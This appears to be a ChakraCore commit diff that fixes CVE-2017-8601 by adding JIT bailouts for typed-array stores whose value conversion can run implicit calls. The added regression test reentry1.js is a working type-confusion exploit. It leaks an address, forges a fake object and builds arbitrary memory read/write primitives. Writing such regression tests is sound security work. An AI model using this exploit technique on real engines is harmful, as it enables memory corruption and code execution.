Quellcode durchsuchen

[CVE-2017-8601] Generate bailouts for cases of typed array stores where conversion of the source value can cause implicit calls. For BailOutOnImplicitCalls, check implicit call bit on return from the conversion helper. For BailOutOnArrayAccessHelperCall, bail out instead of calling the conversion helper.

Paul Leathers vor 8 Jahren
Ursprung
Commit
9326bda18a

+ 74 - 24
lib/Backend/Lower.cpp

@@ -16924,20 +16924,17 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
                 const IR::AutoReuseOpnd autoReuseReg(reg, m_func);
                 InsertMove(reg, src, stElem);
 
-                bool bailOutOnHelperCall = stElem->HasBailOutInfo() && (stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall);
-
                 // Convert to float, and assign to indirOpnd
                 if (baseValueType.IsLikelyOptimizedVirtualTypedArray())
                 {
                     IR::RegOpnd* dstReg = IR::RegOpnd::New(indirOpnd->GetType(), this->m_func);
-                    m_lowererMD.EmitLoadFloat(dstReg, reg, stElem, bailOutOnHelperCall);
+                    m_lowererMD.EmitLoadFloat(dstReg, reg, stElem, stElem, labelHelper);
                     InsertMove(indirOpnd, dstReg, stElem);
                 }
                 else
                 {
-                    m_lowererMD.EmitLoadFloat(indirOpnd, reg, stElem, bailOutOnHelperCall);
+                    m_lowererMD.EmitLoadFloat(indirOpnd, reg, stElem, stElem, labelHelper);
                 }
-
             }
         }
         else if (objectType == ObjectType::Uint8ClampedArray || objectType == ObjectType::Uint8ClampedVirtualArray || objectType == ObjectType::Uint8ClampedMixedArray)
@@ -17120,7 +17117,7 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
                 //      Any pointer is larger than 512 because first 64k memory is reserved by the OS
                 // #endif
 
-                IR::LabelInstr *labelInlineSet = IR::LabelInstr::New(Js::OpCode::Label, this->m_func, true);
+                IR::LabelInstr *labelInlineSet = IR::LabelInstr::New(Js::OpCode::Label, this->m_func);
 #ifndef _M_ARM
                 //      TEST src, ~(TaggedInt(255))      -- Check for tagged int >= 255 and <= 0
                 //      JEQ $inlineSet
@@ -17142,29 +17139,53 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
 
                 // Uint8ClampedArray::DirectSetItem(array, index, value);
 
-                m_lowererMD.LoadHelperArgument(stElem, regSrc);
-                IR::Opnd *indexOpnd = indirOpnd->GetIndexOpnd();
-                if (indexOpnd == nullptr)
+                // Inserting a helper call. Make sure it observes the main instructions's requirements regarding implicit calls.
+                if (!instrIsInHelperBlock)
                 {
-                    indexOpnd = IR::IntConstOpnd::New(indirOpnd->GetOffset(), TyInt32, this->m_func);
+                    stElem->InsertBefore(IR::LabelInstr::New(Js::OpCode::Label, m_func, true));
                 }
-                else
+
+                if (stElem->HasBailOutInfo() && (stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall))
                 {
-                    Assert(indirOpnd->GetOffset() == 0);
+                    // Bail out instead of doing the helper call.
+                    Assert(labelHelper);
+                    this->InsertBranch(Js::OpCode::Br, labelHelper, stElem);
                 }
-                m_lowererMD.LoadHelperArgument(stElem, indexOpnd);
-                m_lowererMD.LoadHelperArgument(stElem, stElem->GetDst()->AsIndirOpnd()->GetBaseOpnd());
+                else
+                {
+                    IR::Instr *instr = IR::Instr::New(Js::OpCode::Call, this->m_func);
+                    stElem->InsertBefore(instr);
 
-                IR::Instr *instr = IR::Instr::New(Js::OpCode::Call, this->m_func);
+                    if (stElem->HasBailOutInfo() && BailOutInfo::IsBailOutOnImplicitCalls(stElem->GetBailOutKind()))
+                    {
+                        // Bail out if this helper triggers implicit calls.
+                        instr = instr->ConvertToBailOutInstr(stElem->GetBailOutInfo(), stElem->GetBailOutKind());
+                        if (stElem->GetBailOutInfo()->bailOutInstr == stElem)
+                        {
+                            IR::Instr * instrShare = stElem->ShareBailOut();
+                            LowerBailTarget(instrShare);
+                        }
+                    }
 
-                Assert(objectType == ObjectType::Uint8ClampedArray || objectType == ObjectType::Uint8ClampedMixedArray || objectType == ObjectType::Uint8ClampedVirtualArray);
-                instr->SetSrc1(IR::HelperCallOpnd::New(IR::HelperUint8ClampedArraySetItem, this->m_func));
+                    m_lowererMD.LoadHelperArgument(instr, regSrc);
+                    IR::Opnd *indexOpnd = indirOpnd->GetIndexOpnd();
+                    if (indexOpnd == nullptr)
+                    {
+                        indexOpnd = IR::IntConstOpnd::New(indirOpnd->GetOffset(), TyInt32, this->m_func);
+                    }
+                    else
+                    {
+                        Assert(indirOpnd->GetOffset() == 0);
+                    }
+                    m_lowererMD.LoadHelperArgument(instr, indexOpnd);
+                    m_lowererMD.LoadHelperArgument(instr, stElem->GetDst()->AsIndirOpnd()->GetBaseOpnd());
 
-                stElem->InsertBefore(instr);
-                m_lowererMD.LowerCall(instr, 0);
+                    Assert(objectType == ObjectType::Uint8ClampedArray || objectType == ObjectType::Uint8ClampedMixedArray || objectType == ObjectType::Uint8ClampedVirtualArray);
+                    m_lowererMD.ChangeToHelperCall(instr, IR::JnHelperMethod::HelperUint8ClampedArraySetItem);
 
-                // JMP $fallThrough
-                InsertBranch(Js::OpCode::Br, labelFallThru, stElem);
+                    // JMP $fallThrough
+                    InsertBranch(Js::OpCode::Br, labelFallThru, stElem);
+                }
 
                 //$inlineSet
                 stElem->InsertBefore(labelInlineSet);
@@ -17207,9 +17228,27 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
                 AssertMsg(AutoSystemInfo::Data.SSE2Available(), "GloOpt shouldn't have specialized Uint32Array StElemI to float64 if SSE2 is unavailable.");
 #endif
 
+                bool bailOutOnHelperCall = stElem->HasBailOutInfo() ? !!(stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall) : false;
+                if (bailOutOnHelperCall)
+                {
+                    if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func))
+                    {
+                        // Array access helper call removal is already off for some reason. Prevent trying to rejit again
+                        // because it won't help and the same thing will happen again. Just abort jitting this function.
+                        if(PHASE_TRACE(Js::BailOutPhase, this->m_func))
+                        {
+                            Output::Print(_u("    Aborting JIT because EliminateArrayAccessHelperCall is already off\n"));
+                            Output::Flush();
+                        }
+                        throw Js::OperationAbortedException();
+                    }
+
+                    throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled);
+                }
+
                 IR::RegOpnd *const reg = IR::RegOpnd::New(TyInt32, this->m_func);
                 const IR::AutoReuseOpnd autoReuseReg(reg, m_func);
-                m_lowererMD.EmitFloatToInt(reg, src, stElem);
+                m_lowererMD.EmitFloatToInt(reg, src, stElem, stElem, labelHelper);
 
                 // MOV indirOpnd, reg
                 InsertMove(indirOpnd, reg, stElem);
@@ -17239,12 +17278,23 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
                     // FromVar reg, Src
                     IR::RegOpnd *const reg = IR::RegOpnd::New(TyInt32, this->m_func);
                     const IR::AutoReuseOpnd autoReuseReg(reg, m_func);
-                    IR::Instr *const instr = IR::Instr::New(Js::OpCode::FromVar, reg, regSrc, stElem->m_func);
+                    IR::Instr * instr = IR::Instr::New(Js::OpCode::FromVar, reg, regSrc, stElem->m_func);
                     stElem->InsertBefore(instr);
 
                     // Convert reg to int32
                     // Note: ToUint32 is implemented as (uint32)ToInt32()
-                    bool bailOutOnHelperCall = (stElem->HasBailOutInfo() && (stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall));
+                    IR::BailOutKind bailOutKind = stElem->HasBailOutInfo() ? stElem->GetBailOutKind() : IR::BailOutInvalid;
+                    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+                    {
+                        instr = instr->ConvertToBailOutInstr(stElem->GetBailOutInfo(), bailOutKind);
+                        if (stElem->GetBailOutInfo()->bailOutInstr == stElem)
+                        {
+                            IR::Instr * instrShare = stElem->ShareBailOut();
+                            LowerBailTarget(instrShare);
+                        }
+                    }
+
+                    bool bailOutOnHelperCall = !!(bailOutKind & IR::BailOutOnArrayAccessHelperCall);
                     m_lowererMD.EmitLoadInt32(instr, true /*conversionFromObjectAllowed*/, bailOutOnHelperCall, labelHelper);
 
                     // MOV indirOpnd, reg

+ 48 - 22
lib/Backend/LowerMDShared.cpp

@@ -6732,8 +6732,8 @@ LowererMD::EmitLoadFloatCommon(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertIn
     return labelDone;
 }
 
-IR::RegOpnd *
-LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall)
+void
+LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut, IR::LabelInstr * labelBailOut)
 {
     IR::LabelInstr *labelDone;
     IR::Instr *instr;
@@ -6742,24 +6742,17 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     if (labelDone == nullptr)
     {
         // We're done
-        return nullptr;
+        return;
     }
 
-    if (bailOutOnHelperCall)
+    IR::BailOutKind bailOutKind = instrBailOut && instrBailOut->HasBailOutInfo() ? instrBailOut->GetBailOutKind() : IR::BailOutInvalid;
+    if (bailOutKind & IR::BailOutOnArrayAccessHelperCall)
     {
-        if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func))
-        {
-            // Array access helper call removal is already off for some reason. Prevent trying to rejit again
-            // because it won't help and the same thing will happen again. Just abort jitting this function.
-            if(PHASE_TRACE(Js::BailOutPhase, this->m_func))
-            {
-                Output::Print(_u("    Aborting JIT because EliminateArrayAccessHelperCall is already off\n"));
-                Output::Flush();
-            }
-            throw Js::OperationAbortedException();
-        }
-
-        throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled);
+        // Bail out instead of making the helper call.
+        Assert(labelBailOut);
+        m_lowerer->InsertBranch(Js::OpCode::Br, labelBailOut, insertInstr);
+        insertInstr->InsertBefore(labelDone);
+        return;
     }
 
     IR::Opnd *memAddress = dst;
@@ -6785,6 +6778,16 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     instr->SetSrc2(reg3Opnd);
     insertInstr->InsertBefore(instr);
 
+    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+    {
+        instr = instr->ConvertToBailOutInstr(instrBailOut->GetBailOutInfo(), bailOutKind);
+        if (instrBailOut->GetBailOutInfo()->bailOutInstr == instrBailOut)
+        {
+            IR::Instr * instrShare = instrBailOut->ShareBailOut();
+            m_lowerer->LowerBailTarget(instrShare);
+        }
+    }
+
     IR::JnHelperMethod helper;
     if (dst->GetType() == TyFloat32)
     {
@@ -6813,8 +6816,6 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     }
     // $Done
     insertInstr->InsertBefore(labelDone);
-
-    return nullptr;
 }
 
 void
@@ -8362,13 +8363,26 @@ LowererMD::InsertConvertFloat64ToInt32(const RoundMode roundMode, IR::Opnd *cons
 }
 
 void
-LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert)
+LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr *instrBailOut, IR::LabelInstr * labelBailOut)
 {
 #ifdef _M_IX86
     // We should only generate this if sse2 is available
     Assert(AutoSystemInfo::Data.SSE2Available());
 #endif
 
+    IR::BailOutKind bailOutKind = IR::BailOutInvalid;
+    if (instrBailOut && instrBailOut->HasBailOutInfo())
+    {
+        bailOutKind = instrBailOut->GetBailOutKind();
+        if (bailOutKind & IR::BailOutOnArrayAccessHelperCall)
+        {
+            // Bail out instead of calling helper. If this is happening unconditionally, the caller should instead throw a rejit exception.
+            Assert(labelBailOut);
+            m_lowerer->InsertBranch(Js::OpCode::Br, labelBailOut, instrInsert);
+            return;
+        }
+    }
+
     IR::LabelInstr *labelDone = IR::LabelInstr::New(Js::OpCode::Label, this->m_func);
     IR::LabelInstr *labelHelper = IR::LabelInstr::New(Js::OpCode::Label, this->m_func, true);
     IR::Instr *instr;
@@ -8385,11 +8399,23 @@ LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert)
 
         EmitFloat32ToFloat64(arg, src, instrInsert);
     }
-    // dst = ToInt32Core(src);
-    LoadDoubleHelperArgument(instrInsert, arg);
 
     instr = IR::Instr::New(Js::OpCode::CALL, dst, this->m_func);
     instrInsert->InsertBefore(instr);
+
+    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+    {
+        instr = instr->ConvertToBailOutInstr(instrBailOut->GetBailOutInfo(), bailOutKind);
+        if (instrBailOut->GetBailOutInfo()->bailOutInstr == instrBailOut)
+        {
+            IR::Instr * instrShare = instrBailOut->ShareBailOut();
+            m_lowerer->LowerBailTarget(instrShare);
+        }
+    }
+
+    // dst = ToInt32Core(src);
+    LoadDoubleHelperArgument(instr, arg);
+
     this->ChangeToHelperCall(instr, IR::HelperConv_ToInt32Core);
 
     // $Done

+ 2 - 2
lib/Backend/LowerMDShared.h

@@ -217,13 +217,13 @@ public:
             void            EmitIntToLong(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             void            EmitUIntToLong(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             void            EmitLongToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
-            void            EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
+            void            EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr);
             void            EmitInt64toFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             void            EmitFloat32ToFloat64(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             static IR::Instr *InsertConvertFloat64ToInt32(const RoundMode roundMode, IR::Opnd *const dst, IR::Opnd *const src, IR::Instr *const insertBeforeInstr);
             void            ConvertFloatToInt32(IR::Opnd* intOpnd, IR::Opnd* floatOpnd, IR::LabelInstr * labelHelper, IR::LabelInstr * labelDone, IR::Instr * instInsert);
             void            EmitLoadFloatFromNumber(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr);
-            IR::RegOpnd *   EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false);
+            void            EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr);
             static void     EmitNon32BitOvfCheck(IR::Instr *instr, IR::Instr *insertInstr, IR::LabelInstr* bailOutLabel);
 
             static void     LowerInt4NegWithBailOut(IR::Instr *const instr, const IR::BailOutKind bailOutKind, IR::LabelInstr *const bailOutLabel, IR::LabelInstr *const skipBailOutLabel);

+ 49 - 22
lib/Backend/arm/LowerMD.cpp

@@ -6148,8 +6148,8 @@ LowererMD::EmitLoadFloatCommon(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertIn
     return labelDone;
 }
 
-IR::RegOpnd *
-LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall)
+void
+LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut, IR::LabelInstr * labelBailOut)
 {
     IR::LabelInstr *labelDone;
     IR::Instr *instr;
@@ -6168,24 +6168,18 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     if (labelDone == nullptr)
     {
         // We're done
-        return nullptr;
+        return;
     }
 
-    if (bailOutOnHelperCall)
-    {
-        if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func))
-        {
-            // Array access helper call removal is already off for some reason. Prevent trying to rejit again
-            // because it won't help and the same thing will happen again. Just abort jitting this function.
-            if(PHASE_TRACE(Js::BailOutPhase, this->m_func))
-            {
-                Output::Print(_u("    Aborting JIT because EliminateArrayAccessHelperCall is already off\n"));
-                Output::Flush();
-            }
-            throw Js::OperationAbortedException();
-        }
+    IR::BailOutKind bailOutKind = instrBailOut && instrBailOut->HasBailOutInfo() ? instrBailOut->GetBailOutKind() : IR::BailOutInvalid;
 
-        throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled);
+    if (bailOutKind & IR::BailOutOnArrayAccessHelperCall)
+    {
+        // Bail out instead of making the helper call.
+        Assert(labelBailOut);
+        m_lowerer->InsertBranch(Js::OpCode::Br, labelBailOut, insertInstr);
+        insertInstr->InsertBefore(labelDone);
+        return;
     }
 
     IR::Opnd *memAddress = dst;
@@ -6218,6 +6212,16 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     instr->SetSrc2(reg3Opnd);
     insertInstr->InsertBefore(instr);
 
+    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+    {
+        instr = instr->ConvertToBailOutInstr(instrBailOut->GetBailOutInfo(), bailOutKind);
+        if (instrBailOut->GetBailOutInfo()->bailOutInstr == instrBailOut)
+        {
+            IR::Instr * instrShare = instrBailOut->ShareBailOut();
+            m_lowerer->LowerBailTarget(instrShare);
+        }
+    }
+
     IR::JnHelperMethod helper;
     if (dst->GetType() == TyFloat32)
     {
@@ -6240,7 +6244,6 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
 
     // $Done
     insertInstr->InsertBefore(labelDone);
-    return nullptr;
 }
 
 void
@@ -8817,8 +8820,21 @@ LowererMD::CheckOverflowOnFloatToInt32(IR::Instr* instrInsert, IR::Opnd* intOpnd
 }
 
 void
-LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert)
+LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr * instrBailOut, IR::LabelInstr * labelBailOut)
 {
+    IR::BailOutKind bailOutKind = IR::BailOutInvalid;
+    if (instrBailOut && instrBailOut->HasBailOutInfo())
+    {
+        bailOutKind = instrBailOut->GetBailOutKind(); 
+        if (bailOutKind & IR::BailOutOnArrayAccessHelperCall)
+        {
+            // Bail out instead of calling helper. If this is happening unconditionally, the caller should instead throw a rejit exception.
+            Assert(labelBailOut);
+            m_lowerer->InsertBranch(Js::OpCode::Br, labelBailOut, instrInsert);
+            return;
+        }
+    }
+
     IR::LabelInstr *labelDone = IR::LabelInstr::New(Js::OpCode::Label, this->m_func);
     IR::LabelInstr *labelHelper = IR::LabelInstr::New(Js::OpCode::Label, this->m_func, true);
     IR::Instr *instr;
@@ -8828,11 +8844,22 @@ LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert)
     // $Helper
     instrInsert->InsertBefore(labelHelper);
 
-    // dst = ToInt32Core(src);
-    LoadDoubleHelperArgument(instrInsert, src);
-
     instr = IR::Instr::New(Js::OpCode::Call, dst, this->m_func);
     instrInsert->InsertBefore(instr);
+
+    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+    {
+        instr = instr->ConvertToBailOutInstr(instrBailOut->GetBailOutInfo(), bailOutKind);
+        if (instrBailOut->GetBailOutInfo()->bailOutInstr == instrBailOut)
+        {
+            IR::Instr * instrShare = instrBailOut->ShareBailOut();
+            m_lowerer->LowerBailTarget(instrShare);
+        }
+    }
+
+    // dst = ToInt32Core(src);
+    LoadDoubleHelperArgument(instr, src);
+
     this->ChangeToHelperCall(instr, IR::HelperConv_ToInt32Core);
 
     // $Done

+ 2 - 2
lib/Backend/arm/LowerMD.h

@@ -156,7 +156,7 @@ public:
             void            GenerateNumberAllocation(IR::RegOpnd * opndDst, IR::Instr * instrInsert, bool isHelper);
             void            GenerateFastRecyclerAlloc(size_t allocSize, IR::RegOpnd* newObjDst, IR::Instr* insertionPointInstr, IR::LabelInstr* allocHelperLabel, IR::LabelInstr* allocDoneLabel);
             void            SaveDoubleToVar(IR::RegOpnd * dstOpnd, IR::RegOpnd *opndFloat, IR::Instr *instrOrig, IR::Instr *instrInsert, bool isHelper = false);
-            IR::RegOpnd *   EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false);
+            void            EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr);
             IR::Instr *     LoadCheckedFloat(IR::RegOpnd *opndOrig, IR::RegOpnd *opndFloat, IR::LabelInstr *labelInline, IR::LabelInstr *labelHelper, IR::Instr *instrInsert, const bool checkForNullInLoopBody = false);
 
             void LoadFloatValue(IR::RegOpnd * javascriptNumber, IR::RegOpnd * opndFloat, IR::LabelInstr * labelHelper, IR::Instr * instrInsert, const bool checkFornullptrInLoopBody = false);
@@ -203,7 +203,7 @@ public:
             void                EmitLoadVarNoCheck(IR::RegOpnd * dst, IR::RegOpnd * src, IR::Instr *instrLoad, bool isFromUint32, bool isHelper);
             void                EmitIntToFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             void                EmitUIntToFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
-            void                EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
+            void                EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr);
             void                EmitFloat32ToFloat64(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { Assert(UNREACHED); }
             void                EmitInt64toFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) {  Assert(UNREACHED); }
             static IR::Instr *  InsertConvertFloat64ToInt32(const RoundMode roundMode, IR::Opnd *const dst, IR::Opnd *const src, IR::Instr *const insertBeforeInstr);

+ 2 - 2
lib/Backend/arm64/LowerMD.h

@@ -152,7 +152,7 @@ public:
               void            GenerateNumberAllocation(IR::RegOpnd * opndDst, IR::Instr * instrInsert, bool isHelper) { __debugbreak(); }
               void            GenerateFastRecyclerAlloc(size_t allocSize, IR::RegOpnd* newObjDst, IR::Instr* insertionPointInstr, IR::LabelInstr* allocHelperLabel, IR::LabelInstr* allocDoneLabel) { __debugbreak(); }
               void            SaveDoubleToVar(IR::RegOpnd * dstOpnd, IR::RegOpnd *opndFloat, IR::Instr *instrOrig, IR::Instr *instrInsert, bool isHelper = false) { __debugbreak(); }
-              IR::RegOpnd *   EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false) { __debugbreak(); return 0; }
+              void            EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr) { __debugbreak(); }
               IR::Instr *     LoadCheckedFloat(IR::RegOpnd *opndOrig, IR::RegOpnd *opndFloat, IR::LabelInstr *labelInline, IR::LabelInstr *labelHelper, IR::Instr *instrInsert) { __debugbreak(); return 0; }
 
               void LoadFloatValue(IR::RegOpnd * javascriptNumber, IR::RegOpnd * opndFloat, IR::LabelInstr * labelHelper, IR::Instr * instrInsert) { __debugbreak(); }
@@ -199,7 +199,7 @@ public:
               void                EmitLoadVarNoCheck(IR::RegOpnd * dst, IR::RegOpnd * src, IR::Instr *instrLoad, bool isFromUint32, bool isHelper) { __debugbreak(); }
               void                EmitIntToFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
               void                EmitUIntToFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
-              void                EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
+              void                EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr) { __debugbreak(); }
               void                EmitFloat32ToFloat64(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
               void                EmitInt64toFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
               void                EmitIntToLong(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }

+ 113 - 0
test/typedarray/reentry1.js

@@ -0,0 +1,113 @@
+function go(){
+a1 = [1.1,2.2]
+a2 = [1.1,2.2]
+ab = new ArrayBuffer(4)
+tarr = new Uint8ClampedArray(ab)
+
+fakeaddr =  0xaaaabbbbbbbb * 4.9406564584124654E-324;
+function aaa(p1,p2,ii){
+    p1[0] = 1.1
+    p1[1] = 2.2
+    p2[0] = ii
+    p1[0] = fakeaddr
+  return ii
+}
+
+function bbb(p1,p2,ii){
+    p1[0] = 1.1
+    p1[1] = 2.2
+    p2[0] = ii
+  return p1[0]
+}
+
+for(var i=0; i <0x100000; i++) {
+    aaa(a1,tarr,3)
+}
+
+for(var i=0; i <0x100000; i++) {
+    bbb(a2,tarr,3)
+}
+
+var arr = new Array(
+  0x11111111,0x11111111,0x11111111,0x11111111,0x11111111,
+  0x11111111,0x11111111,0x11111111,0x11111111,0x11111111,
+  0x11111111,0x11111111,0x11111111,0x11111111,0x11111111
+  )
+ab = new ArrayBuffer(0x100)
+var farr = new Float64Array(ab)
+var uarr = new Uint32Array(ab)
+
+farr[0] = bbb(a2, tarr, {toString:function(){a2[0] = arr; return 9}})
+var leakaddr = uarr[1]*0x100000000+uarr[0]
+
+fakeaddr = (leakaddr+0x58) * 4.9406564584124654E-324;
+aaa(a1, tarr, {toString:function(){a1[0] = {}; return 9}})
+typeidaddr = leakaddr+0x58
+abaddr = leakaddr+0x2c
+
+function low32(v)
+{
+	return (v % 0x100000000);
+}
+
+function high32(v)
+{
+	return Math.floor(v / 0x100000000);
+}
+
+function toInt(v)
+{
+	return v < 0x80000000 ? v : -(0x100000000 - v);
+}
+
+function toUint(v)
+{
+	return v >= 0 ? v : (0x100000000 + v);
+}
+
+arr[0] = 56
+arr[1] = 0
+arr[2] = toInt(low32(typeidaddr))
+arr[3] = toInt(high32(typeidaddr))
+arr[4] = 0
+arr[5] = 0
+arr[6] = 0
+arr[7] = 0
+arr[8] = 0xabcd
+arr[9] = 0
+arr[10] = toInt(low32(abaddr))
+arr[11] = toInt(high32(abaddr))
+arr[12] = 0
+arr[13] = 0
+arr[14] = 0x41414141
+arr[15] = 0x41414141
+arr[16] = 0
+arr[17] = 0
+
+fakeobj = a1[0]
+
+var read32 = function(addr){
+  arr[14] = toInt(low32(addr))
+  arr[15] = toInt(high32(addr))
+  return DataView.prototype.getUint32.call(fakeobj, 0, true)
+}
+
+var write32 = function(addr, v){
+  arr[14] = toInt(low32(addr))
+  arr[15] = toInt(high32(addr))
+  DataView.prototype.setUint32.call(fakeobj, 0, v, true)
+}
+
+WScript.Echo("vtable:" + read32(leakaddr+4).toString(16) + read32(leakaddr).toString(16))
+
+arr.length = 0xffffffff
+write32(leakaddr+0x44, 0xffffffff)
+write32(leakaddr+0x48, 0xffffffff)
+
+write32(0xaaaabbbbbbbb, 0)
+
+}
+try{
+go()}catch(e){}
+
+WScript.Echo('pass');

+ 5 - 0
test/typedarray/rlexe.xml

@@ -339,4 +339,9 @@ Below test fails with difference in space. Investigate the cause and re-enable t
       <files>bug_OS_6911900.js</files>
     </default>
   </test>
+  <test>
+    <default>
+      <files>reentry1.js</files>
+    </default>
+  </test>
 </regress-exe>